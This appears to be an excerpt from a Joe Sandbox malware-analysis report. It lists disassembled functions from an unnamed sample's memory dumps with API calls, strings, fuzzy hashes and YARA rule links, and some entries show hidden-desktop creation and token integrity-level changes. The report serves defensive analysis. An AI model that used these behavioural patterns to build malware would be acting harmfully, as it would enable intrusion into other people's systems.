Associated: 00000000.00000002.3798251494.00000000006BA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3798312188.00000000006E2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3800113161.00000000006E7000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3801193591.000000000070F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3801244199.0000000000715000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3803239659.00000000008EB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3803281065.00000000008EC000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3806552867.0000000000C73000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_560000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 850f3d8c799fd37a45c321a9b58244cc0479d116961382681c857c6a78afc1eb
Instruction ID: 2f475865f45b5f74d2a2b97e2fe47279f9a0526730676952866d42764c6e87b6
Opcode Fuzzy Hash: 850f3d8c799fd37a45c321a9b58244cc0479d116961382681c857c6a78afc1eb
Instruction Fuzzy Hash: 78C1DA7092070A8FCB24CF68C594ABEBFB1BF4B314F246A19D696976D1C331AD45CB21

Uniqueness

Uniqueness Score: -1.00%

Function 0691E2DC Relevance: .3, Instructions: 333COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3809427330.00000000068D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 068D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_68d0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c377c8360b45bc9a80f2282d5ad88b73dc711b2b141c34442525061bff5a7c97
Instruction ID: b2a6be266ea667e5c20071ed8bb26df4e19877b16a158985c48461e7f57e9b92
Opcode Fuzzy Hash: c377c8360b45bc9a80f2282d5ad88b73dc711b2b141c34442525061bff5a7c97
Instruction Fuzzy Hash: 5FC1BE74D0060E8FDBA5CF68C98467ABBA9AF45300F784A19DC539FEA1D330E946CB51

Uniqueness

Uniqueness Score: -1.00%

Function 0691E63B Relevance: .3, Instructions: 328COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3809427330.00000000068D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 068D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_68d0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 788c37c3acd32457f38199c18939b8128cc7483f17f24257c568ea8dcb1f1a84
Instruction ID: 25ff6118771112589bd6ab02ff6ba40256473f55b2c2c1006ee0d162708fa6ce
Opcode Fuzzy Hash: 788c37c3acd32457f38199c18939b8128cc7483f17f24257c568ea8dcb1f1a84
Instruction Fuzzy Hash: D5B1F534E0060E8FEBE5CF68C9509BEBBF9AF44300B74091ED996AFE50D631A941CB50

Uniqueness

Uniqueness Score: -1.00%

Function 0059A918 Relevance: .2, Instructions: 156COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3795888867.0000000000561000.00000020.00000001.01000000.00000003.sdmp, Offset: 00560000, based on PE: true

Associated: 00000000.00000002.3795812293.0000000000560000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3798251494.00000000006BA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3798312188.00000000006E2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3800113161.00000000006E7000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3801193591.000000000070F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3801244199.0000000000715000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3803239659.00000000008EB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3803281065.00000000008EC000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3806552867.0000000000C73000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_560000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 46680d0314554fd398ed7fd020ff60bee8df1d437ae882661bd78aeb1168d151
Instruction ID: cabf776fc4c11baf04fb7aa58d413cb75042597e41a8877c968b606fbcb8d19d
Opcode Fuzzy Hash: 46680d0314554fd398ed7fd020ff60bee8df1d437ae882661bd78aeb1168d151
Instruction Fuzzy Hash: AE517F72D0011AAFDF14CF98C941AEEBFB6FF88304F198459E915AB201D734AA40CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 00782DF7 Relevance: .1, Instructions: 138COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3801244199.0000000000715000.00000020.00000001.01000000.00000003.sdmp, Offset: 00560000, based on PE: true

Associated: 00000000.00000002.3795812293.0000000000560000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3795888867.0000000000561000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3798251494.00000000006BA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3798312188.00000000006E2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3800113161.00000000006E7000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3801193591.000000000070F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3803239659.00000000008EB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3803281065.00000000008EC000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3806552867.0000000000C73000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_560000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7df228882c38435edb758bca9c2882bf8aae9699bd09cb539d8ff26e04dfd785
Instruction ID: 3d2c4ce74c3ed5f93e673ac3fb07f738415d3eb27e6f6f21ffe60fc05a170d3f
Opcode Fuzzy Hash: 7df228882c38435edb758bca9c2882bf8aae9699bd09cb539d8ff26e04dfd785
Instruction Fuzzy Hash: A431E936F007218BA710E97ACCE01D7B3D2AB56370F69D6389198C73C5E678840EC784

Uniqueness

Uniqueness Score: -1.00%

Function 00597190 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3795888867.0000000000561000.00000020.00000001.01000000.00000003.sdmp, Offset: 00560000, based on PE: true

Associated: 00000000.00000002.3795812293.0000000000560000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3798251494.00000000006BA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3798312188.00000000006E2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3800113161.00000000006E7000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3801193591.000000000070F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3801244199.0000000000715000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3803239659.00000000008EB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3803281065.00000000008EC000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3806552867.0000000000C73000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_560000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction ID: 3dff9c3dff5569d54afb789006784f93b8b3a4aaa954e23b3c20bfc8ef756993
Opcode Fuzzy Hash: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction Fuzzy Hash: EE11087B22809943DE18862DD8B46B6AF95FACD32072C427BD0414BB58E222EA45FA00

Uniqueness

Uniqueness Score: -1.00%

Function 0079CBCC Relevance: .0, Instructions: 11COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3801244199.0000000000715000.00000020.00000001.01000000.00000003.sdmp, Offset: 00560000, based on PE: true

Associated: 00000000.00000002.3795812293.0000000000560000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3795888867.0000000000561000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3798251494.00000000006BA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3798312188.00000000006E2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3800113161.00000000006E7000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3801193591.000000000070F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3803239659.00000000008EB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3803281065.00000000008EC000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3806552867.0000000000C73000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_560000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e0158708a683e8c602f91b03a55b91f6568ebafc13c9e8fbe5ec08ce4768c157
Instruction ID: 7475a413e424e2457261f4b17a20eac167d81e1d11b5c3192fff50173a167bc2
Opcode Fuzzy Hash: e0158708a683e8c602f91b03a55b91f6568ebafc13c9e8fbe5ec08ce4768c157
Instruction Fuzzy Hash: 68B092D0182146B5A02333AA4DC1E3F89AEDAE67863A28219B205B125649254E62A173

Uniqueness

Uniqueness Score: -1.00%

Function 06912770 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 212libraryloaderCOMMON

Download Yara Rule

APIs

RoGetActivationFactory.API-MS-WIN-CORE-WINRT-L1-1-0(?,00000001,57FEA13C,57FEA13C,?,00000000,00000044,?,?,?,?,?,?,06937EE0,000000FF), ref: 069127CB
LoadLibraryExW.KERNEL32(combase.dll,00000000,00001000,?,00000001,57FEA13C,57FEA13C,?,00000000,00000044,?,?,?,?,?,?), ref: 069127E6
GetProcAddress.KERNEL32(00000000,CoIncrementMTAUsage), ref: 069127F1

Strings

CoIncrementMTAUsage, xrefs: 069127EB
combase.dll, xrefs: 069127E1
DllGetActivationFactory, xrefs: 0691293A

Memory Dump Source

Source File: 00000000.00000002.3809427330.00000000068D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 068D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_68d0000_file.jbxd

Similarity

API ID: ActivationAddressFactoryLibraryLoadProc
String ID: CoIncrementMTAUsage$DllGetActivationFactory$combase.dll
API String ID: 935683589-2993125632
Opcode ID: fd2eb52c1c475eb6759e1893cad4d0af37ff6ba0565cf3fb49dc67bb87b4965c
Instruction ID: aa92a31a50011adb7b72edc56e616b6636e991f5c20db0b20814330193428630
Opcode Fuzzy Hash: fd2eb52c1c475eb6759e1893cad4d0af37ff6ba0565cf3fb49dc67bb87b4965c
Instruction Fuzzy Hash: E8716371D00218AFDF95EFA8CC54BEEB7B8EF44310F240519E521BB690DB70AA85CB61

Uniqueness

Uniqueness Score: -1.00%

Function 069122F0 Relevance: 14.4, APIs: 7, Strings: 1, Instructions: 351threadCOMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 069122F5

Part of subcall function 069133BA: std::invalid_argument::invalid_argument.LIBCONCRT ref: 069133C6

GetCurrentThreadId.KERNEL32 ref: 06912466

Strings

vector too long, xrefs: 069122F0

Memory Dump Source

Source File: 00000000.00000002.3809427330.00000000068D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 068D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_68d0000_file.jbxd

Similarity

API ID: CurrentThreadXinvalid_argumentstd::_std::invalid_argument::invalid_argument
String ID: vector too long
API String ID: 3461298183-2873823879
Opcode ID: 8cfa7c103c3f12fe6ab960a047d61b6d1929bde33cd7926e081ea2d14fab7a32
Instruction ID: a744d2d41858a92c5dd2b05352b183175a6ffb9685ba6822847f19a7a7107604
Opcode Fuzzy Hash: 8cfa7c103c3f12fe6ab960a047d61b6d1929bde33cd7926e081ea2d14fab7a32
Instruction Fuzzy Hash: A2D1C171A0420C9FDB64DF68CC80BEAB7B9BF48344F2445ADE559D7690DB30AA84CF91

Uniqueness

Uniqueness Score: -1.00%

Function 005972C0 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 132COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 005972F7
___except_validate_context_record.LIBVCRUNTIME ref: 005972FF
_ValidateLocalCookies.LIBCMT ref: 00597388
__IsNonwritableInCurrentImage.LIBCMT ref: 005973B3
_ValidateLocalCookies.LIBCMT ref: 00597408

Strings

`-V, xrefs: 005973CC
csm, xrefs: 0059739D
WY, xrefs: 005973A5, 005973AE, 005973BF

Memory Dump Source

Source File: 00000000.00000002.3795888867.0000000000561000.00000020.00000001.01000000.00000003.sdmp, Offset: 00560000, based on PE: true

Associated: 00000000.00000002.3795812293.0000000000560000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3798251494.00000000006BA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3798312188.00000000006E2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3800113161.00000000006E7000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3801193591.000000000070F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3801244199.0000000000715000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3803239659.00000000008EB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3803281065.00000000008EC000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3806552867.0000000000C73000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_560000_file.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: `-V$csm$WY
API String ID: 1170836740-3820129521
Opcode ID: 96dc3ac5b5f6c7a365f0a704775463be72020cb29aecbc12d031972b7b4c5de7
Instruction ID: ebeaca637addca8b9c5eb0a6a8df934d2123ed40c735e374a2c4196e9349badd
Opcode Fuzzy Hash: 96dc3ac5b5f6c7a365f0a704775463be72020cb29aecbc12d031972b7b4c5de7
Instruction Fuzzy Hash: A841C534A1420EABCF10DF68C885AAE7FA5FF49314F148556EC189B392DB71EA01CB91

Uniqueness

Uniqueness Score: -1.00%

Function 068DC200 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 101COMMON

Download Yara Rule

APIs

SaferCreateLevel.ADVAPI32(00000002,00020000,00000001,00000000,00000000), ref: 068DC23B
SaferComputeTokenFromLevel.ADVAPI32(00000000,00000000,00000000,00000000,00000000), ref: 068DC27B
ConvertStringSidToSidA.ADVAPI32(S-1-16-8192,00000000), ref: 068DC2A0
SetTokenInformation.ADVAPI32(00000000,00000019,00000000,00000008), ref: 068DC2D5
SaferCloseLevel.ADVAPI32(00000000), ref: 068DC363
LocalFree.KERNEL32(00000000), ref: 068DC373

Strings

S-1-16-8192, xrefs: 068DC29B

Memory Dump Source

Source File: 00000000.00000002.3809427330.00000000068D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 068D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_68d0000_file.jbxd

Similarity

API ID: LevelSafer$Token$CloseComputeConvertCreateFreeFromInformationLocalString
String ID: S-1-16-8192
API String ID: 3581683870-1480721295
Opcode ID: a8d5166fa4d2d284f8f4d714c8da41a2509a06e551ca3c98ab25fd003836b419
Instruction ID: 093c941a88c227ea89d394a74c9c3a13564efb3803718bdbbf3ac01e01bd6b6f
Opcode Fuzzy Hash: a8d5166fa4d2d284f8f4d714c8da41a2509a06e551ca3c98ab25fd003836b419
Instruction Fuzzy Hash: 69415A71E04319EBEF54CFE4CC49FEEBBB8BB48704F104119E611AA680D7B89505CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 005ABB58 Relevance: 10.8, APIs: 7, Instructions: 329COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 005ABBDE

Memory Dump Source

Source File: 00000000.00000002.3795888867.0000000000561000.00000020.00000001.01000000.00000003.sdmp, Offset: 00560000, based on PE: true

Associated: 00000000.00000002.3795812293.0000000000560000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3798251494.00000000006BA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3798312188.00000000006E2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3800113161.00000000006E7000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3801193591.000000000070F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3801244199.0000000000715000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3803239659.00000000008EB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3803281065.00000000008EC000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3806552867.0000000000C73000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_560000_file.jbxd

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: a50ea0b1cbee7dd5857165426e31780bb312a5fb526b49ea3865f7ce454cff82
Instruction ID: 1900cd9394d643c23917a0cc8e721b12eff72f1c0666e2803190db338f77715c
Opcode Fuzzy Hash: a50ea0b1cbee7dd5857165426e31780bb312a5fb526b49ea3865f7ce454cff82
Instruction Fuzzy Hash: 82B10372A00256AFEB218F68C891BEE7FA9FF56310F144555E904AF283D774AD41C7E0

Uniqueness

Uniqueness Score: -1.00%

Function 0057D260 Relevance: 7.6, APIs: 5, Instructions: 124COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 0057D28A
std::_Lockit::_Lockit.LIBCPMT ref: 0057D2AC
std::_Lockit::~_Lockit.LIBCPMT ref: 0057D2D4
__Getcoll.LIBCPMT ref: 0057D39F
std::_Lockit::~_Lockit.LIBCPMT ref: 0057D40E

Memory Dump Source

Source File: 00000000.00000002.3795888867.0000000000561000.00000020.00000001.01000000.00000003.sdmp, Offset: 00560000, based on PE: true

Associated: 00000000.00000002.3795812293.0000000000560000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3798251494.00000000006BA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3798312188.00000000006E2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3800113161.00000000006E7000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3801193591.000000000070F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3801244199.0000000000715000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3803239659.00000000008EB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3803281065.00000000008EC000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3806552867.0000000000C73000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_560000_file.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_$Getcoll
String ID:
API String ID: 2318601406-0
Opcode ID: 10c7115c1be26c754c628f6a46a701bc61850088896c0cf4f3d6982ab2f6bffe
Instruction ID: fc83ae639bd02db95ee5964c77653118991ab679fb29ab5663af72e85b822b1d
Opcode Fuzzy Hash: 10c7115c1be26c754c628f6a46a701bc61850088896c0cf4f3d6982ab2f6bffe
Instruction Fuzzy Hash: 36516AB0801249EFDF01DF98D9487AEBFB5FF50314F248059E8196B281D775AA06DBA2

Uniqueness

Uniqueness Score: -1.00%

Function 00592719 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 0059272B
std::_Lockit::~_Lockit.LIBCPMT ref: 00592799

Part of subcall function 0059287C: std::locale::_Locimp::_Locimp.LIBCPMT ref: 00592894

std::locale::_Setgloballocale.LIBCPMT ref: 00592746

Strings

`-V, xrefs: 00592768, 0059278C

Memory Dump Source

Source File: 00000000.00000002.3795888867.0000000000561000.00000020.00000001.01000000.00000003.sdmp, Offset: 00560000, based on PE: true

Associated: 00000000.00000002.3795812293.0000000000560000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3798251494.00000000006BA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3798312188.00000000006E2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3800113161.00000000006E7000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3801193591.000000000070F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3801244199.0000000000715000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3803239659.00000000008EB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3803281065.00000000008EC000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3806552867.0000000000C73000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_560000_file.jbxd

Similarity

API ID: Lockitstd::_std::locale::_$LocimpLocimp::_Lockit::_Lockit::~_Setgloballocale
String ID: `-V
API String ID: 2093443267-364166172
Opcode ID: c045f72f2560c499129dc417f4d4c50bc09c45d9685c21ed9726cfb1effd55e0
Instruction ID: 0d8f811bf45b99177ba94f0263b1e38e04fcc3f2087b00d1e731cec44bb48a88
Opcode Fuzzy Hash: c045f72f2560c499129dc417f4d4c50bc09c45d9685c21ed9726cfb1effd55e0
Instruction Fuzzy Hash: 6B01BC75A00612EBCB05EB60C88957D7FA2FFC4780F085019E80267381DF74AE42CBC1

Uniqueness

Uniqueness Score: -1.00%

Function 0691A3A7 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 27libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,00000800,?,0691A358,00000000,?,00000001,?,?,?,0691A447,00000001,FlsFree,0693AFC8,FlsFree), ref: 0691A3B4
GetLastError.KERNEL32(?,0691A358,00000000,?,00000001,?,?,?,0691A447,00000001,FlsFree,0693AFC8,FlsFree,00000000,?,0691935E), ref: 0691A3BE
LoadLibraryExW.KERNEL32(00000000,00000000,00000000), ref: 0691A3E6

Strings

api-ms-, xrefs: 0691A3CB

Memory Dump Source

Source File: 00000000.00000002.3809427330.00000000068D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 068D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_68d0000_file.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID: api-ms-
API String ID: 3177248105-2084034818
Opcode ID: 42548ca1be415aa7daefb19a22713bfa7bb5f8bc6c9db3a3db5ec4aebf35c65c
Instruction ID: d8a37d32b896aebe8cabe2478aea33af9162de7771f061500768f4619a412ca2
Opcode Fuzzy Hash: 42548ca1be415aa7daefb19a22713bfa7bb5f8bc6c9db3a3db5ec4aebf35c65c
Instruction Fuzzy Hash: 8BE0487068421DB7EF901A61DD45B593A5EAB01E91F304420FA0CE8C90E7A2D8529A55

Uniqueness

Uniqueness Score: -1.00%

Function 06910390 Relevance: 6.2, APIs: 4, Instructions: 151COMMON

Download Yara Rule

APIs

Part of subcall function 068D3230: std::_Throw_Cpp_error.LIBCPMT ref: 068D3251
Part of subcall function 068D3230: std::_Throw_Cpp_error.LIBCPMT ref: 068D3285

_Min_value.LIBCPMTD ref: 06910426
char_traits.LIBCPMTD ref: 0691042F
OpenDesktopA.USER32(?,00000001,00000001,10000000), ref: 0691047E
CreateDesktopA.USER32(?,00000000,00000000,00000001,10000000,00000000), ref: 069104ED

Memory Dump Source

Source File: 00000000.00000002.3809427330.00000000068D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 068D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_68d0000_file.jbxd

Similarity

API ID: Cpp_errorDesktopThrow_std::_$CreateMin_valueOpenchar_traits
String ID:
API String ID: 4090590276-0
Opcode ID: c70693033f9c55031933d23c3198b54688c024104ef27e868090ce099d0dfd5d
Instruction ID: 3edcab45ffaa30191e6d7795809af89c571cc0bbc5f4f268f9140347399818b3
Opcode Fuzzy Hash: c70693033f9c55031933d23c3198b54688c024104ef27e868090ce099d0dfd5d
Instruction Fuzzy Hash: FC517471E542499FDB90EFA8DD41FBEB3B5EF44710F100169E515E7A80EB356900CB91

Uniqueness

Uniqueness Score: -1.00%

Function 0057A060 Relevance: 6.1, APIs: 4, Instructions: 136COMMONLIBRARYCODE

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 0057A09D
std::_Lockit::_Lockit.LIBCPMT ref: 0057A0BF
std::_Lockit::~_Lockit.LIBCPMT ref: 0057A0E7
std::_Lockit::~_Lockit.LIBCPMT ref: 0057A223

Memory Dump Source

Source File: 00000000.00000002.3795888867.0000000000561000.00000020.00000001.01000000.00000003.sdmp, Offset: 00560000, based on PE: true

Associated: 00000000.00000002.3795812293.0000000000560000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3798251494.00000000006BA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3798312188.00000000006E2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3800113161.00000000006E7000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3801193591.000000000070F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3801244199.0000000000715000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3803239659.00000000008EB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3803281065.00000000008EC000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3806552867.0000000000C73000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_560000_file.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_
String ID:
API String ID: 593203224-0
Opcode ID: 1bc547f9add1b49c11006d5c943989c211e625eb65112a2005746f3d82179381
Instruction ID: 1d109da2df17e27637918ec4f1f37d1935d53e1cfe6274ff2723b0c63e89a91f
Opcode Fuzzy Hash: 1bc547f9add1b49c11006d5c943989c211e625eb65112a2005746f3d82179381
Instruction Fuzzy Hash: 9E51A9B0D00349DBDB10CF98D9457AEBFB0BB40314F14815DE849AB381E775AA44DBD2

Uniqueness

Uniqueness Score: -1.00%

Function 0057C430 Relevance: 6.1, APIs: 4, Instructions: 119COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 0057C45A
std::_Lockit::_Lockit.LIBCPMT ref: 0057C47C
std::_Lockit::~_Lockit.LIBCPMT ref: 0057C4A4
std::_Lockit::~_Lockit.LIBCPMT ref: 0057C5C4

Memory Dump Source

Source File: 00000000.00000002.3795888867.0000000000561000.00000020.00000001.01000000.00000003.sdmp, Offset: 00560000, based on PE: true

Associated: 00000000.00000002.3795812293.0000000000560000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3798251494.00000000006BA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3798312188.00000000006E2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3800113161.00000000006E7000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3801193591.000000000070F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3801244199.0000000000715000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3803239659.00000000008EB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3803281065.00000000008EC000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3806552867.0000000000C73000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_560000_file.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_
String ID:
API String ID: 593203224-0
Opcode ID: 7fe042203f42dfce3bc78a6905e695c7ae96bdff99826e7e1d9611b44b8bcad4
Instruction ID: b5293e4cef2f1aa6749bf00aaf47f5fd2104414985fa5fd708ce2399b35929ae
Opcode Fuzzy Hash: 7fe042203f42dfce3bc78a6905e695c7ae96bdff99826e7e1d9611b44b8bcad4
Instruction Fuzzy Hash: 2351BCB0900255DBDF21CF98D854BAEBFF1FB00314F24815CE849AB381D775AA05DB91

Uniqueness

Uniqueness Score: -1.00%

Function 0691A701 Relevance: 6.1, APIs: 4, Instructions: 55threadCOMMON

Download Yara Rule

APIs

